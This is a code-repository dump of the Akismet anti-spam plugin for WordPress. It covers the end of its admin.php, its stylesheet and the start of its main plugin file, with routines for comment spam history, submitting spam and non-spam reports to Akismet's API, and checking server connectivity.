add_action('admin_notices', 'akismet_warning'); return; } } // FIXME placeholder function akismet_comment_row_action( $a, $comment ) { // failsafe for old WP versions if ( !function_exists('add_comment_meta') ) return $a; $akismet_result = get_comment_meta( $comment->comment_ID, 'akismet_result', true ); $akismet_error = get_comment_meta( $comment->comment_ID, 'akismet_error', true ); $user_result = get_comment_meta( $comment->comment_ID, 'akismet_user_result', true); $comment_status = wp_get_comment_status( $comment->comment_ID ); $desc = null; if ( $akismet_error ) { $desc = __( 'Awaiting spam check' ); } elseif ( !$user_result || $user_result == $akismet_result ) { // Show the original Akismet result if the user hasn't overridden it, or if their decision was the same if ( $akismet_result == 'true' && $comment_status != 'spam' && $comment_status != 'trash' ) $desc = __( 'Flagged as spam by Akismet' ); elseif ( $akismet_result == 'false' && $comment_status == 'spam' ) $desc = __( 'Cleared by Akismet' ); } else { $who = get_comment_meta( $comment->comment_ID, 'akismet_user', true ); if ( $user_result == 'true' ) $desc = sprintf( __('Flagged as spam by %s'), $who ); else $desc = sprintf( __('Un-spammed by %s'), $who ); } // add a History item to the hover links, just after Edit if ( $akismet_result ) { $b = array(); foreach ( $a as $k => $item ) { $b[ $k ] = $item; if ( $k == 'edit' || ( $k == 'unspam' && $GLOBALS['wp_version'] >= 3.4 ) ) { $b['history'] = '<a href="comment.php?action=editcomment&amp;c='.$comment->comment_ID.'#akismet-status" title="'. esc_attr__( 'View comment history' ) . '"> '. __('History') . '</a>'; } } $a = $b; } if ( $desc ) echo '<span class="akismet-status" commentid="'.$comment->comment_ID.'"><a href="comment.php?action=editcomment&amp;c='.$comment->comment_ID.'#akismet-status" title="' . esc_attr__( 'View comment history' ) . '">'.htmlspecialchars($desc).'</a></span>'; if ( apply_filters( 'akismet_show_user_comments_approved', get_option('akismet_show_user_comments_approved') ) == 'true' ) { $comment_count = akismet_get_user_comments_approved( $comment->user_id, $comment->comment_author_email, $comment->comment_author, $comment->comment_author_url ); $comment_count = intval( $comment_count ); echo '<span class="akismet-user-comment-count" commentid="'.$comment->comment_ID.'" style="display:none;"><br><span class="akismet-user-comment-counts">'.sprintf( _n( '%s approved', '%s approved', $comment_count ), number_format_i18n( $comment_count ) ) . '</span></span>'; } return $a; } add_filter( 'comment_row_actions', 'akismet_comment_row_action', 10, 2 ); function akismet_comment_status_meta_box($comment) { $history = akismet_get_comment_history( $comment->comment_ID ); if ( $history ) { echo '<div class="akismet-history" style="margin: 13px;">'; foreach ( $history as $row ) { $time = date( 'D d M Y @ h:i:m a', $row['time'] ) . ' GMT'; echo '<div style="margin-bottom: 13px;"><span style="color: #999;" alt="' . $time . '" title="' . $time . '">' . sprintf( __('%s ago'), human_time_diff( $row['time'] ) ) . '</span> - '; echo htmlspecialchars( $row['message'] ) . '</div>'; } echo '</div>'; } } // add an extra column header to the comments screen function akismet_comments_columns( $columns ) { $columns[ 'akismet' ] = __( 'Akismet' ); return $columns; } #add_filter( 'manage_edit-comments_columns', 'akismet_comments_columns' ); // Show stuff in the extra column function akismet_comment_column_row( $column, $comment_id ) { if ( $column != 'akismet' ) return; $history = akismet_get_comment_history( $comment_id ); if ( $history ) { echo '<dl class="akismet-history">'; foreach ( $history as $row ) { echo '<dt>' . sprintf( __('%s ago'), human_time_diff( $row['time'] ) ) . '</dt>'; echo '<dd>' . htmlspecialchars( $row['message'] ) . '</dd>'; } echo '</dl>'; } } #add_action( 'manage_comments_custom_column', 'akismet_comment_column_row', 10, 2 ); // END FIXME // call out URLS in comments function akismet_text_add_link_callback( $m ) { // bare link? if ( $m[4] == $m[2] ) return '<a '.$m[1].' href="'.$m[2].'" '.$m[3].' class="comment-link">'.$m[4].'</a>'; else return '<span title="'.$m[2].'" class="comment-link"><a '.$m[1].' href="'.$m[2].'" '.$m[3].' class="comment-link">'.$m[4].'</a></span>'; } function akismet_text_add_link_class( $comment_text ) { return preg_replace_callback( '#<a ([^>]*)href="([^"]+)"([^>]*)>(.*?)</a>#i', 'akismet_text_add_link_callback', $comment_text ); } add_filter('comment_text', 'akismet_text_add_link_class'); // WP 2.5+ function akismet_rightnow() { global $submenu, $wp_db_version; if ( 8645 < $wp_db_version ) // 2.7 $link = 'edit-comments.php?comment_status=spam'; elseif ( isset( $submenu['edit-comments.php'] ) ) $link = 'edit-comments.php?page=akismet-admin'; else $link = 'edit.php?page=akismet-admin'; if ( $count = get_option('akismet_spam_count') ) { $intro = sprintf( _n( '<a href="%1$s">Akismet</a> has protected your site from %2$s spam comment already. ', '<a href="%1$s">Akismet</a> has protected your site from %2$s spam comments already. ', $count ), 'http://akismet.com/?return=true', number_format_i18n( $count ) ); } else { $intro = sprintf( __('<a href="%1$s">Akismet</a> blocks spam from getting to your blog. '), 'http://akismet.com/?return=true' ); } $link = function_exists( 'esc_url' ) ? esc_url( $link ) : clean_url( $link ); if ( $queue_count = akismet_spam_count() ) { $queue_text = sprintf( _n( 'There\'s <a href="%2$s">%1$s comment</a> in your spam queue right now.', 'There are <a href="%2$s">%1$s comments</a> in your spam queue right now.', $queue_count ), number_format_i18n( $queue_count ), $link ); } else { $queue_text = sprintf( __( "There's nothing in your <a href='%1\$s'>spam queue</a> at the moment." ), $link ); } $text = $intro . '<br />' . $queue_text; echo "<p class='akismet-right-now'>$text</p>\n"; } add_action('rightnow_end', 'akismet_rightnow'); // For WP >= 2.5 function akismet_check_for_spam_button($comment_status) { if ( 'approved' == $comment_status ) return; if ( function_exists('plugins_url') ) $link = 'admin.php?action=akismet_recheck_queue'; else $link = 'edit-comments.php?page=akismet-admin&amp;recheckqueue=true&amp;noheader=true'; echo "</div><div class='alignleft'><a class='button-secondary checkforspam' href='$link'>" . __('Check for Spam') . "</a>"; } add_action('manage_comments_nav', 'akismet_check_for_spam_button'); function akismet_submit_nonspam_comment ( $comment_id ) { global $wpdb, $akismet_api_host, $akismet_api_port, $current_user, $current_site; $comment_id = (int) $comment_id; $comment = $wpdb->get_row("SELECT * FROM $wpdb->comments WHERE comment_ID = '$comment_id'"); if ( !$comment ) // it was deleted return; // use the original version stored in comment_meta if available $as_submitted = get_comment_meta( $comment_id, 'akismet_as_submitted', true); if ( $as_submitted && is_array($as_submitted) && isset($as_submitted['comment_content']) ) { $comment = (object) array_merge( (array)$comment, $as_submitted ); } $comment->blog = get_bloginfo('url'); $comment->blog_lang = get_locale(); $comment->blog_charset = get_option('blog_charset'); $comment->permalink = get_permalink($comment->comment_post_ID); $comment->reporter_ip = $_SERVER['REMOTE_ADDR']; if ( is_object($current_user) ) { $comment->reporter = $current_user->user_login; } if ( is_object($current_site) ) { $comment->site_domain = $current_site->domain; } $comment->user_role = ''; if ( isset( $comment->user_ID ) ) $comment->user_role = akismet_get_user_roles($comment->user_ID); if ( akismet_test_mode() ) $comment->is_test = 'true'; $post = get_post( $comment->comment_post_ID ); $comment->comment_post_modified_gmt = $post->post_modified_gmt; $query_string = ''; foreach ( $comment as $key => $data ) $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; $response = akismet_http_post($query_string, $akismet_api_host, "/1.1/submit-ham", $akismet_api_port); if ( $comment->reporter ) { akismet_update_comment_history( $comment_id, sprintf( __('%s reported this comment as not spam'), $comment->reporter ), 'report-ham' ); update_comment_meta( $comment_id, 'akismet_user_result', 'false' ); update_comment_meta( $comment_id, 'akismet_user', $comment->reporter ); } do_action('akismet_submit_nonspam_comment', $comment_id, $response[1]); } function akismet_submit_spam_comment ( $comment_id ) { global $wpdb, $akismet_api_host, $akismet_api_port, $current_user, $current_site; $comment_id = (int) $comment_id; $comment = $wpdb->get_row("SELECT * FROM $wpdb->comments WHERE comment_ID = '$comment_id'"); if ( !$comment ) // it was deleted return; if ( 'spam' != $comment->comment_approved ) return; // use the original version stored in comment_meta if available $as_submitted = get_comment_meta( $comment_id, 'akismet_as_submitted', true); if ( $as_submitted && is_array($as_submitted) && isset($as_submitted['comment_content']) ) { $comment = (object) array_merge( (array)$comment, $as_submitted ); } $comment->blog = get_bloginfo('url'); $comment->blog_lang = get_locale(); $comment->blog_charset = get_option('blog_charset'); $comment->permalink = get_permalink($comment->comment_post_ID); $comment->reporter_ip = $_SERVER['REMOTE_ADDR']; if ( is_object($current_user) ) { $comment->reporter = $current_user->user_login; } if ( is_object($current_site) ) { $comment->site_domain = $current_site->domain; } $comment->user_role = ''; if ( isset( $comment->user_ID ) ) $comment->user_role = akismet_get_user_roles($comment->user_ID); if ( akismet_test_mode() ) $comment->is_test = 'true'; $post = get_post( $comment->comment_post_ID ); $comment->comment_post_modified_gmt = $post->post_modified_gmt; $query_string = ''; foreach ( $comment as $key => $data ) $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; $response = akismet_http_post($query_string, $akismet_api_host, "/1.1/submit-spam", $akismet_api_port); if ( $comment->reporter ) { akismet_update_comment_history( $comment_id, sprintf( __('%s reported this comment as spam'), $comment->reporter ), 'report-spam' ); update_comment_meta( $comment_id, 'akismet_user_result', 'true' ); update_comment_meta( $comment_id, 'akismet_user', $comment->reporter ); } do_action('akismet_submit_spam_comment', $comment_id, $response[1]); } // For WP 2.7+ function akismet_transition_comment_status( $new_status, $old_status, $comment ) { if ( $new_status == $old_status ) return; # we don't need to record a history item for deleted comments if ( $new_status == 'delete' ) return; if ( !is_admin() ) return; if ( !current_user_can( 'edit_post', $comment->comment_post_ID ) && !current_user_can( 'moderate_comments' ) ) return; if ( defined('WP_IMPORTING') && WP_IMPORTING == true ) return; // if this is present, it means the status has been changed by a re-check, not an explicit user action if ( get_comment_meta( $comment->comment_ID, 'akismet_rechecking' ) ) return; global $current_user; $reporter = ''; if ( is_object( $current_user ) ) $reporter = $current_user->user_login; // Assumption alert: // We want to submit comments to Akismet only when a moderator explicitly spams or approves it - not if the status // is changed automatically by another plugin. Unfortunately WordPress doesn't provide an unambiguous way to // determine why the transition_comment_status action was triggered. And there are several different ways by which // to spam and unspam comments: bulk actions, ajax, links in moderation emails, the dashboard, and perhaps others. // We'll assume that this is an explicit user action if POST or GET has an 'action' key. if ( isset($_POST['action']) || isset($_GET['action']) ) { if ( $new_status == 'spam' && ( $old_status == 'approved' || $old_status == 'unapproved' || !$old_status ) ) { return akismet_submit_spam_comment( $comment->comment_ID ); } elseif ( $old_status == 'spam' && ( $new_status == 'approved' || $new_status == 'unapproved' ) ) { return akismet_submit_nonspam_comment( $comment->comment_ID ); } } akismet_update_comment_history( $comment->comment_ID, sprintf( __('%s changed the comment status to %s'), $reporter, $new_status ), 'status-' . $new_status ); } add_action( 'transition_comment_status', 'akismet_transition_comment_status', 10, 3 ); // Total spam in queue // get_option( 'akismet_spam_count' ) is the total caught ever function akismet_spam_count( $type = false ) { global $wpdb; if ( !$type ) { // total $count = wp_cache_get( 'akismet_spam_count', 'widget' ); if ( false === $count ) { if ( function_exists('wp_count_comments') ) { $count = wp_count_comments(); $count = $count->spam; } else { $count = (int) $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_approved = 'spam'"); } wp_cache_set( 'akismet_spam_count', $count, 'widget', 3600 ); } return $count; } elseif ( 'comments' == $type || 'comment' == $type ) { // comments $type = ''; } else { // pingback, trackback, ... $type = $wpdb->escape( $type ); } return (int) $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments WHERE comment_approved = 'spam' AND comment_type='$type'"); } function akismet_recheck_queue() { global $wpdb, $akismet_api_host, $akismet_api_port; akismet_fix_scheduled_recheck(); if ( ! ( isset( $_GET['recheckqueue'] ) || ( isset( $_REQUEST['action'] ) && 'akismet_recheck_queue' == $_REQUEST['action'] ) ) ) return; $moderation = $wpdb->get_results( "SELECT * FROM $wpdb->comments WHERE comment_approved = '0'", ARRAY_A ); foreach ( (array) $moderation as $c ) { $c['user_ip'] = $c['comment_author_IP']; $c['user_agent'] = $c['comment_agent']; $c['referrer'] = ''; $c['blog'] = get_bloginfo('url'); $c['blog_lang'] = get_locale(); $c['blog_charset'] = get_option('blog_charset'); $c['permalink'] = get_permalink($c['comment_post_ID']); $c['user_role'] = ''; if ( isset( $c['user_ID'] ) ) $c['user_role'] = akismet_get_user_roles($c['user_ID']); if ( akismet_test_mode() ) $c['is_test'] = 'true'; $id = (int) $c['comment_ID']; $query_string = ''; foreach ( $c as $key => $data ) $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; add_comment_meta( $c['comment_ID'], 'akismet_rechecking', true ); $response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port); if ( 'true' == $response[1] ) { wp_set_comment_status($c['comment_ID'], 'spam'); update_comment_meta( $c['comment_ID'], 'akismet_result', 'true' ); delete_comment_meta( $c['comment_ID'], 'akismet_error' ); akismet_update_comment_history( $c['comment_ID'], __('Akismet re-checked and caught this comment as spam'), 'check-spam' ); } elseif ( 'false' == $response[1] ) { update_comment_meta( $c['comment_ID'], 'akismet_result', 'false' ); delete_comment_meta( $c['comment_ID'], 'akismet_error' ); akismet_update_comment_history( $c['comment_ID'], __('Akismet re-checked and cleared this comment'), 'check-ham' ); // abnormal result: error } else { update_comment_meta( $c['comment_ID'], 'akismet_result', 'error' ); akismet_update_comment_history( $c['comment_ID'], sprintf( __('Akismet was unable to re-check this comment (response: %s)'), substr($response[1], 0, 50)), 'check-error' ); } delete_comment_meta( $c['comment_ID'], 'akismet_rechecking' ); } wp_safe_redirect( $_SERVER['HTTP_REFERER'] ); exit; } add_action('admin_action_akismet_recheck_queue', 'akismet_recheck_queue'); // Adds an 'x' link next to author URLs, clicking will remove the author URL and show an undo link function akismet_remove_comment_author_url() { if ( !empty($_POST['id'] ) && check_admin_referer( 'comment_author_url_nonce' ) ) { global $wpdb; $comment = get_comment( intval($_POST['id']), ARRAY_A ); if (current_user_can('edit_comment', $comment['comment_ID'])) { $comment['comment_author_url'] = ''; do_action( 'comment_remove_author_url' ); print(wp_update_comment( $comment )); die(); } } } add_action('wp_ajax_comment_author_deurl', 'akismet_remove_comment_author_url'); function akismet_add_comment_author_url() { if ( !empty( $_POST['id'] ) && !empty( $_POST['url'] ) && check_admin_referer( 'comment_author_url_nonce' ) ) { global $wpdb; $comment = get_comment( intval($_POST['id']), ARRAY_A ); if (current_user_can('edit_comment', $comment['comment_ID'])) { $comment['comment_author_url'] = esc_url($_POST['url']); do_action( 'comment_add_author_url' ); print(wp_update_comment( $comment )); die(); } } } add_action('wp_ajax_comment_author_reurl', 'akismet_add_comment_author_url'); // Check connectivity between the WordPress blog and Akismet's servers. // Returns an associative array of server IP addresses, where the key is the IP address, and value is true (available) or false (unable to connect). function akismet_check_server_connectivity() { global $akismet_api_host, $akismet_api_port, $wpcom_api_key; $test_host = 'rest.akismet.com'; // Some web hosts may disable one or both functions if ( !function_exists('fsockopen') || !function_exists('gethostbynamel') ) return array(); $ips = gethostbynamel($test_host); if ( !$ips || !is_array($ips) || !count($ips) ) return array(); $servers = array(); foreach ( $ips as $ip ) { $response = akismet_verify_key( akismet_get_key(), $ip ); // even if the key is invalid, at least we know we have connectivity if ( $response == 'valid' || $response == 'invalid' ) $servers[$ip] = true; else $servers[$ip] = false; } return $servers; } // Check the server connectivity and store the results in an option. // Cached results will be used if not older than the specified timeout in seconds; use $cache_timeout = 0 to force an update. // Returns the same associative array as akismet_check_server_connectivity() function akismet_get_server_connectivity( $cache_timeout = 86400 ) { $servers = get_option('akismet_available_servers'); if ( (time() - get_option('akismet_connectivity_time') < $cache_timeout) && $servers !== false ) return $servers; // There's a race condition here but the effect is harmless. $servers = akismet_check_server_connectivity(); update_option('akismet_available_servers', $servers); update_option('akismet_connectivity_time', time()); return $servers; } // Returns true if server connectivity was OK at the last check, false if there was a problem that needs to be fixed. function akismet_server_connectivity_ok() { // skip the check on WPMU because the status page is hidden global $wpcom_api_key; if ( $wpcom_api_key ) return true; $servers = akismet_get_server_connectivity(); return !( empty($servers) || !count($servers) || count( array_filter($servers) ) < count($servers) ); } function akismet_admin_menu() { if ( class_exists( 'Jetpack' ) ) { add_action( 'jetpack_admin_menu', 'akismet_load_menu' ); } else { akismet_load_menu(); } } function akismet_load_menu() { if ( class_exists( 'Jetpack' ) ) { add_submenu_page( 'jetpack', __( 'Akismet Configuration' ), __( 'Akismet Configuration' ), 'manage_options', 'akismet-key-config', 'akismet_conf' ); add_submenu_page( 'jetpack', __( 'Akismet Stats' ), __( 'Akismet Stats' ), 'manage_options', 'akismet-stats-display', 'akismet_stats_display' ); } else { add_submenu_page('plugins.php', __('Akismet Configuration'), __('Akismet Configuration'), 'manage_options', 'akismet-key-config', 'akismet_conf'); add_submenu_page('index.php', __('Akismet Stats'), __('Akismet Stats'), 'manage_options', 'akismet-stats-display', 'akismet_stats_display'); } }
zyblog
trunk/zyblog/wp-content/plugins/akismet/admin.php
PHP
asf20
37,204
#submitted-on { position: relative; } #the-comment-list .author .akismet-user-comment-count { display: inline; } #the-comment-list .author a span { text-decoration: none; color: #999; } #the-comment-list .remove_url { margin-left: 3px; color: #999; padding: 2px 3px 2px 0; } #the-comment-list .remove_url:hover { color: #A7301F; font-weight: bold; padding: 2px 2px 2px 0; } #dashboard_recent_comments .akismet-status { display: none; } /* never show the flagged by text on the dashboard */ .akismet-status { float: right; } .akismet-status a { color: #AAA; font-style: italic; } span.comment-link a { text-decoration: underline; } span.comment-link:after { content: " " attr(title) " "; color: #aaa; text-decoration: none; } .mshot-arrow { width: 0; height: 0; border-top: 10px solid transparent; border-bottom: 10px solid transparent; border-right:10px solid #5C5C5C; position: absolute; left: -6px; top: 91px; } .mshot-container { background: #5C5C5C; position: absolute; top: -94px; padding: 7px; width: 450px; height: 338px; z-index: 20000; -moz-border-radius:6px; border-radius:6px; -webkit-border-radius:6px; }
zyblog
trunk/zyblog/wp-content/plugins/akismet/akismet.css
CSS
asf20
1,116
<?php /** * @package Akismet */ /* Plugin Name: Akismet Plugin URI: http://akismet.com/?return=true Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/?return=true">Sign up for an Akismet API key</a>, and 3) Go to your <a href="admin.php?page=akismet-key-config">Akismet configuration</a> page, and save your API key. Version: 2.5.6 Author: Automattic Author URI: http://automattic.com/wordpress-plugins/ License: GPLv2 or later */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ define('AKISMET_VERSION', '2.5.6'); define('AKISMET_PLUGIN_URL', plugin_dir_url( __FILE__ )); /** If you hardcode a WP.com API key here, all key config screens will be hidden */ if ( defined('WPCOM_API_KEY') ) $wpcom_api_key = constant('WPCOM_API_KEY'); else $wpcom_api_key = ''; // Make sure we don't expose any info if called directly if ( !function_exists( 'add_action' ) ) { echo "Hi there! I'm just a plugin, not much I can do when called directly."; exit; } if ( isset($wp_db_version) && $wp_db_version <= 9872 ) include_once dirname( __FILE__ ) . '/legacy.php'; include_once dirname( __FILE__ ) . '/widget.php'; if ( is_admin() ) require_once dirname( __FILE__ ) . '/admin.php'; function akismet_init() { global $wpcom_api_key, $akismet_api_host, $akismet_api_port; if ( $wpcom_api_key ) $akismet_api_host = $wpcom_api_key . '.rest.akismet.com'; else $akismet_api_host = get_option('wordpress_api_key') . '.rest.akismet.com'; $akismet_api_port = 80; } add_action('init', 'akismet_init'); function akismet_get_key() { global $wpcom_api_key; if ( !empty($wpcom_api_key) ) return $wpcom_api_key; return get_option('wordpress_api_key'); } function akismet_check_key_status( $key, $ip = null ) { global $akismet_api_host, $akismet_api_port, $wpcom_api_key; $blog = urlencode( get_option('home') ); if ( $wpcom_api_key ) $key = $wpcom_api_key; $response = akismet_http_post("key=$key&blog=$blog", 'rest.akismet.com', '/1.1/verify-key', $akismet_api_port, $ip); return $response; } // given a response from an API call like akismet_check_key_status(), update the alert code options if an alert is present. function akismet_update_alert( $response ) { $code = $msg = null; if ( isset($response[0]['x-akismet-alert-code']) ) { $code = $response[0]['x-akismet-alert-code']; $msg = $response[0]['x-akismet-alert-msg']; } // only call update_option() if the value has changed if ( $code != get_option( 'akismet_alert_code' ) ) { update_option( 'akismet_alert_code', $code ); update_option( 'akismet_alert_msg', $msg ); } } function akismet_verify_key( $key, $ip = null ) { $response = akismet_check_key_status( $key, $ip ); akismet_update_alert( $response ); if ( !is_array($response) || !isset($response[1]) || $response[1] != 'valid' && $response[1] != 'invalid' ) return 'failed'; return $response[1]; } // if we're in debug or test modes, use a reduced service level so as not to polute training or stats data function akismet_test_mode() { if ( defined('AKISMET_TEST_MODE') && AKISMET_TEST_MODE ) return true; return false; } // return a comma-separated list of role names for the given user function akismet_get_user_roles($user_id ) { $roles = false; if ( !class_exists('WP_User') ) return false; if ( $user_id > 0 ) { $comment_user = new WP_User($user_id); if ( isset($comment_user->roles) ) $roles = join(',', $comment_user->roles); } if ( is_multisite() && is_super_admin( $user_id ) ) { if ( empty( $roles ) ) { $roles = 'super_admin'; } else { $comment_user->roles[] = 'super_admin'; $roles = join( ',', $comment_user->roles ); } } return $roles; } // Returns array with headers in $response[0] and body in $response[1] function akismet_http_post($request, $host, $path, $port = 80, $ip=null) { global $wp_version; $akismet_ua = "WordPress/{$wp_version} | "; $akismet_ua .= 'Akismet/' . constant( 'AKISMET_VERSION' ); $akismet_ua = apply_filters( 'akismet_ua', $akismet_ua ); $content_length = strlen( $request ); $http_host = $host; // use a specific IP if provided // needed by akismet_check_server_connectivity() if ( $ip && long2ip( ip2long( $ip ) ) ) { $http_host = $ip; } else { $http_host = $host; } // use the WP HTTP class if it is available if ( function_exists( 'wp_remote_post' ) ) { $http_args = array( 'body' => $request, 'headers' => array( 'Content-Type' => 'application/x-www-form-urlencoded; ' . 'charset=' . get_option( 'blog_charset' ), 'Host' => $host, 'User-Agent' => $akismet_ua ), 'httpversion' => '1.0', 'timeout' => 15 ); $akismet_url = "http://{$http_host}{$path}"; $response = wp_remote_post( $akismet_url, $http_args ); if ( is_wp_error( $response ) ) return ''; return array( $response['headers'], $response['body'] ); } else { $http_request = "POST $path HTTP/1.0\r\n"; $http_request .= "Host: $host\r\n"; $http_request .= 'Content-Type: application/x-www-form-urlencoded; charset=' . get_option('blog_charset') . "\r\n"; $http_request .= "Content-Length: {$content_length}\r\n"; $http_request .= "User-Agent: {$akismet_ua}\r\n"; $http_request .= "\r\n"; $http_request .= $request; $response = ''; if( false != ( $fs = @fsockopen( $http_host, $port, $errno, $errstr, 10 ) ) ) { fwrite( $fs, $http_request ); while ( !feof( $fs ) ) $response .= fgets( $fs, 1160 ); // One TCP-IP packet fclose( $fs ); $response = explode( "\r\n\r\n", $response, 2 ); } return $response; } } // filter handler used to return a spam result to pre_comment_approved function akismet_result_spam( $approved ) { // bump the counter here instead of when the filter is added to reduce the possibility of overcounting if ( $incr = apply_filters('akismet_spam_count_incr', 1) ) update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr ); // this is a one-shot deal remove_filter( 'pre_comment_approved', 'akismet_result_spam' ); return 'spam'; } function akismet_result_hold( $approved ) { // once only remove_filter( 'pre_comment_approved', 'akismet_result_hold' ); return '0'; } // how many approved comments does this author have? function akismet_get_user_comments_approved( $user_id, $comment_author_email, $comment_author, $comment_author_url ) { global $wpdb; if ( !empty($user_id) ) return $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE user_id = %d AND comment_approved = 1", $user_id ) ); if ( !empty($comment_author_email) ) return $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->comments WHERE comment_author_email = %s AND comment_author = %s AND comment_author_url = %s AND comment_approved = 1", $comment_author_email, $comment_author, $comment_author_url ) ); return 0; } function akismet_microtime() { $mtime = explode( ' ', microtime() ); return $mtime[1] + $mtime[0]; } // log an event for a given comment, storing it in comment_meta function akismet_update_comment_history( $comment_id, $message, $event=null ) { global $current_user; // failsafe for old WP versions if ( !function_exists('add_comment_meta') ) return false; $user = ''; if ( is_object($current_user) && isset($current_user->user_login) ) $user = $current_user->user_login; $event = array( 'time' => akismet_microtime(), 'message' => $message, 'event' => $event, 'user' => $user, ); // $unique = false so as to allow multiple values per comment $r = add_comment_meta( $comment_id, 'akismet_history', $event, false ); } // get the full comment history for a given comment, as an array in reverse chronological order function akismet_get_comment_history( $comment_id ) { // failsafe for old WP versions if ( !function_exists('add_comment_meta') ) return false; $history = get_comment_meta( $comment_id, 'akismet_history', false ); usort( $history, 'akismet_cmp_time' ); return $history; } function akismet_cmp_time( $a, $b ) { return $a['time'] > $b['time'] ? -1 : 1; } // this fires on wp_insert_comment. we can't update comment_meta when akismet_auto_check_comment() runs // because we don't know the comment ID at that point. function akismet_auto_check_update_meta( $id, $comment ) { global $akismet_last_comment; // failsafe for old WP versions if ( !function_exists('add_comment_meta') ) return false; // wp_insert_comment() might be called in other contexts, so make sure this is the same comment // as was checked by akismet_auto_check_comment if ( is_object($comment) && !empty($akismet_last_comment) && is_array($akismet_last_comment) ) { if ( intval($akismet_last_comment['comment_post_ID']) == intval($comment->comment_post_ID) && $akismet_last_comment['comment_author'] == $comment->comment_author && $akismet_last_comment['comment_author_email'] == $comment->comment_author_email ) { // normal result: true or false if ( $akismet_last_comment['akismet_result'] == 'true' ) { update_comment_meta( $comment->comment_ID, 'akismet_result', 'true' ); akismet_update_comment_history( $comment->comment_ID, __('Akismet caught this comment as spam'), 'check-spam' ); if ( $comment->comment_approved != 'spam' ) akismet_update_comment_history( $comment->comment_ID, sprintf( __('Comment status was changed to %s'), $comment->comment_approved), 'status-changed'.$comment->comment_approved ); } elseif ( $akismet_last_comment['akismet_result'] == 'false' ) { update_comment_meta( $comment->comment_ID, 'akismet_result', 'false' ); akismet_update_comment_history( $comment->comment_ID, __('Akismet cleared this comment'), 'check-ham' ); if ( $comment->comment_approved == 'spam' ) { if ( wp_blacklist_check($comment->comment_author, $comment->comment_author_email, $comment->comment_author_url, $comment->comment_content, $comment->comment_author_IP, $comment->comment_agent) ) akismet_update_comment_history( $comment->comment_ID, __('Comment was caught by wp_blacklist_check'), 'wp-blacklisted' ); else akismet_update_comment_history( $comment->comment_ID, sprintf( __('Comment status was changed to %s'), $comment->comment_approved), 'status-changed-'.$comment->comment_approved ); } // abnormal result: error } else { update_comment_meta( $comment->comment_ID, 'akismet_error', time() ); akismet_update_comment_history( $comment->comment_ID, sprintf( __('Akismet was unable to check this comment (response: %s), will automatically retry again later.'), substr($akismet_last_comment['akismet_result'], 0, 50)), 'check-error' ); } // record the complete original data as submitted for checking if ( isset($akismet_last_comment['comment_as_submitted']) ) update_comment_meta( $comment->comment_ID, 'akismet_as_submitted', $akismet_last_comment['comment_as_submitted'] ); } } } add_action( 'wp_insert_comment', 'akismet_auto_check_update_meta', 10, 2 ); function akismet_auto_check_comment( $commentdata ) { global $akismet_api_host, $akismet_api_port, $akismet_last_comment; $comment = $commentdata; $comment['user_ip'] = $_SERVER['REMOTE_ADDR']; $comment['user_agent'] = $_SERVER['HTTP_USER_AGENT']; $comment['referrer'] = $_SERVER['HTTP_REFERER']; $comment['blog'] = get_option('home'); $comment['blog_lang'] = get_locale(); $comment['blog_charset'] = get_option('blog_charset'); $comment['permalink'] = get_permalink($comment['comment_post_ID']); if ( !empty( $comment['user_ID'] ) ) { $comment['user_role'] = akismet_get_user_roles($comment['user_ID']); } $akismet_nonce_option = apply_filters( 'akismet_comment_nonce', get_option( 'akismet_comment_nonce' ) ); $comment['akismet_comment_nonce'] = 'inactive'; if ( $akismet_nonce_option == 'true' || $akismet_nonce_option == '' ) { $comment['akismet_comment_nonce'] = 'failed'; if ( isset( $_POST['akismet_comment_nonce'] ) && wp_verify_nonce( $_POST['akismet_comment_nonce'], 'akismet_comment_nonce_' . $comment['comment_post_ID'] ) ) $comment['akismet_comment_nonce'] = 'passed'; // comment reply in wp-admin if ( isset( $_POST['_ajax_nonce-replyto-comment'] ) && check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' ) ) $comment['akismet_comment_nonce'] = 'passed'; } if ( akismet_test_mode() ) $comment['is_test'] = 'true'; foreach ($_POST as $key => $value ) { if ( is_string($value) ) $comment["POST_{$key}"] = $value; } $ignore = array( 'HTTP_COOKIE', 'HTTP_COOKIE2', 'PHP_AUTH_PW' ); foreach ( $_SERVER as $key => $value ) { if ( !in_array( $key, $ignore ) && is_string($value) ) $comment["$key"] = $value; else $comment["$key"] = ''; } $post = get_post( $comment['comment_post_ID'] ); $comment[ 'comment_post_modified_gmt' ] = $post->post_modified_gmt; $query_string = ''; foreach ( $comment as $key => $data ) $query_string .= $key . '=' . urlencode( stripslashes($data) ) . '&'; $commentdata['comment_as_submitted'] = $comment; $response = akismet_http_post($query_string, $akismet_api_host, '/1.1/comment-check', $akismet_api_port); akismet_update_alert( $response ); $commentdata['akismet_result'] = $response[1]; if ( 'true' == $response[1] ) { // akismet_spam_count will be incremented later by akismet_result_spam() add_filter('pre_comment_approved', 'akismet_result_spam'); do_action( 'akismet_spam_caught' ); $last_updated = strtotime( $post->post_modified_gmt ); $diff = time() - $last_updated; $diff = $diff / 86400; if ( $post->post_type == 'post' && $diff > 30 && get_option( 'akismet_discard_month' ) == 'true' && empty($comment['user_ID']) ) { // akismet_result_spam() won't be called so bump the counter here if ( $incr = apply_filters('akismet_spam_count_incr', 1) ) update_option( 'akismet_spam_count', get_option('akismet_spam_count') + $incr ); wp_safe_redirect( $_SERVER['HTTP_REFERER'] ); die(); } 